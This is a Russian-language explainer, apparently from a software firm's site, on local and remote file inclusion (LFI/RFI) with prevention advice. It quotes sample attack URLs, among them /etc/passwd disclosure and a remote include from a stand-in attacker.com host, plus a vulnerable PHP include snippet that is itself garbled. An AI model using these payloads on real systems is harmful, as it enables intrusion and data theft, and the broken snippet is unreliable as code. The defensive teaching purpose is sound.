Что такое уязвимость включения файлов?

Уязвимость включения файлов может существовать всякий раз, когда веб-приложение позволяет пользователям вводить входные данные, которые используются целевым приложением в качестве кода. Поэтому эта уязвимость чаще всего встречается в веб-приложениях, использующих скриптовые языки программирования.

Типы внедрения файлов

Эксплуатация уязвимости, связанной с внедрением файлов, возможна, когда приложение позволяет интерпретировать вводимые пользователем данные как команду (также известное как динамическое внедрение файлов).

В этом случае злоумышленник может поручить приложению создать путь к файлу, содержащему вредоносный код, и выполнить этот файл. Кроме того, злоумышленники также могут получить доступ к файлам на сервере и украсть содержащиеся в них конфиденциальные данные.

Языками программирования, в которых часто встречаются уязвимости включения файлов, являются PHP, JavaServer Pages (JSP) и Server SideIncludes (SSI).

Эта уязвимость является частью более общей уязвимости внедрения, входящей в список 10 основных уязвимостей OWASP. Атака, использующая эту уязвимость, потенциально может привести к межсайтовому скриптингу (XSS), обходу каталогов и удаленному выполнению кода.

Эксплойт включения файлов происходит за счет использования директивы «include» или аналогичных функций файловой системы. Разработчики обычно используют эту функцию по нескольким причинам.

При указании файлов которые будут анализироваться интерпретатором. Чтобы открыть конкретный файл с кодом, необходимо указать его путь, чтобы он анализировался и интерпретировался.

При печати на странице. Чтобы сэкономить время и избежать дублирования работы, разработчики иногда повторно используют определенные части кода. Кроме того, вы можете указать файл, содержимое которого следует скопировать и использовать в файле, содержащем оператор включения.

При включении файлов для загрузки пользователями. Чтобы сделать файлы доступными для загрузки, а не открывать их в веб-браузере, в запрос включается специальный заголовок.

В любом из вышеперечисленных случаев неправильная обработка пользовательского ввода может открыть злоумышленникам возможность включить вредоносный код или получить доступ к конфиденциальным данным.

Злоумышленники используют две ключевые уязвимости включения типов файлов: локальное включение файлов (LFI) и удаленное включение файлов (RFI). Вот как они работают.

Локальная инъекция файлов

Уязвимость LFI позволяет злоумышленникам получить доступ к файлам, размещенным локально на сервере приложений, или выполнить их. Это возможно в приложениях, которые разрешают путь к файлу на сервере в качестве пользовательского ввода и не очищают такой ввод.

Затем злоумышленники могут использовать файл и функцию включения, чтобы раскрыть его содержимое или выполнить свой код. Если сервер работает с высокими привилегиями, он может получить доступ к конфиденциальным данным, таким как данные аутентификации.

В некоторых случаях приложения могут разрешать пользователям загружать неавторизованные файлы, что позволяет злоумышленникам загружать файлы, содержащие вредоносный код.

В сочетании с уязвимостью включения это открывает злоумышленникам возможность выполнить такой код, если они знают путь к своему файлу.

Удаленная инъекция файлов

Уязвимость удаленного включения файлов (RFI) активируется приложениями, которые динамически ссылаются на внешние файлы или сценарии без их надлежащей очистки.

Используя уязвимость, злоумышленник заставляет сервер загружать и выполнять произвольные файлы, расположенные в удаленном месте и способные открывать бэкдор-оболочки.

Это может привести к краже или повреждению данных, повреждению веб-сайтов и установке вредоносных программ или к полной компрометации и захвату сервера.

В чем разница между LFI и RFI?

По сути, эксплойты LFI и RFI используют одну и ту же стратегию и используют один и тот же тип уязвимостей.

Основное различие между этими двумя типами уязвимостей заключается в том, что при использовании вектора LFI злоумышленники нацелены на функции монтирования локальных файлов. Эти функции не выполняют надлежащую проверку входных параметров, введенных пользователем.

При эксплуатации вектора RFI злоумышленники используют функции ссылок, позволяющие указывать пути к внешним файлам.

Пример атаки LFI

Существуют разные способы продемонстрировать, как может выглядеть LFI. Одним из простейших примеров включения локального файла является простое изменение или URL-адрес, который проходит без фильтрации. Например, предположим, что у вас есть этот URL-адрес:

example.com/?module=1.php

Если пользовательский ввод не очищен должным образом, злоумышленник может отредактировать URL-адрес примерно так:

example.com/?module=/etc/passwd

Если на сервере есть уязвимость включения файла, он просто продолжит отображать содержимое запрошенного файла паролей.

Таким же образом, используя такие символы, как «/», злоумышленник может пересекать каталоги (также известный как обход пути), чтобы добраться до других файлов в системе, таких как файлы журналов сервера.

Альтернативно, если сервер разрешает загрузку файлов, но не проверяет их правильно, пользователь может загрузить что-то вроде изображения, содержащего код.

Затем файл предоставляется в качестве входных данных для синтаксического анализатора, заставляя его запускать код. Примером этого может быть:

example.com/?module=uploads/1.gif

Пример RFI-атаки

Стандартные конфигурации и инструкции сервера могут сделать сценарии PHP уязвимыми для атак RFI. Как только злоумышленник обнаружит код, позволяющий включать файлы на основе пользовательского ввода, он может использовать это для включения внешнего файла.

Например, в следующем примере значение тестового файла открыто для ввода пользователем:

example.com/1.php?testfile=example

Если операторы в коде содержат оператор включения, например:

$test = $_REQUEST[“testfile”];

Include($.”.php”);

В результате злоумышленник может использовать этот случай для включения параметра удаленного вредоносного файла. Это может выглядеть так:

example.com/1.php?testfile=www.attacker.com/malicious_page

Это приведет к тому, что «malicious_page» будет помещена в уязвимую страницу «1.php», которая будет выполняться каждый раз при доступе к последней.

Независимо от того, является ли уязвимость локальной или удаленной, уязвимости возникают из-за операторов «include» или «require», которые позволяют предоставлять непроверенный пользовательский ввод.

Эти инструкции необходимы и ценны, но если они не защищены, они создают уязвимости в системе безопасности. Чтобы воспользоваться ею, злоумышленники должны найти место, где существует уязвимость, и предоставить вредоносные данные для выполнения.

Каковы последствия использования уязвимости включения файлов?

В простейшем случае использование этой уязвимости может привести к раскрытию и краже конфиденциальных данных, таких как учетные данные аутентификации или журналы сервера.

Они также могут привести к захвату или порче веб-сайта вредоносным ПО, что в конечном итоге приведет к компрометации и захвату всего сервера. Кроме того, с такими уязвимостями возможны такие атаки, как удаленное выполнение кода, межсайтовый скриптинг и другие.

Как можно предотвратить LFI и RFI?

Вы можете смягчить и предотвратить LFI и RFI несколькими способами. В этом играет роль правильная проверка и очистка входных данных, но ошибочно полагать, что этого достаточно.

В идеале вам следует принять следующие меры, чтобы наилучшим образом предотвратить атаки с включением файлов.

- Очистите введенные пользователем данные, включая параметры GET/POST и URL-адреса, значения файлов cookie и значения HTTP-заголовка. Применяйте проверку на стороне сервера, а не на стороне клиента.

- Назначьте идентификаторы каждому пути к файлу и сохраните их в защищенной базе данных, чтобы пользователи не могли просматривать или изменять путь.

- Вносите в белый список проверенные и защищенные файлы и типы файлов, проверяйте пути к файлам по этому списку и игнорируйте все остальное. Не полагайтесь на проверку черного списка, поскольку злоумышленники могут ее обойти.

- Используйте базу данных для файлов, которые могут быть скомпрометированы, вместо того, чтобы хранить их на сервере.

- Ограничьте разрешения на выполнение для каталогов загрузки и размера загружаемых файлов.

- Улучшите инструкции сервера, например, путем автоматической отправки заголовков загрузки вместо выполнения файлов в определенном каталоге.

- Избегайте обхода каталогов, ограничив API включением только файлов из определенного каталога.

- Запустите тесты, чтобы определить, уязвим ли ваш код для эксплойтов включения файлов.

Компания Mainton - разработка и тестирование программного обеспечения под заказ, SEO и реклама в интернете с 2004 года.

ПЕНТЕСТ БЕЗОПАСНОСТЬ ВЗЛОМАЛИ? МОНИТОРИНГ СТАТЬИ ВАКАНСИИ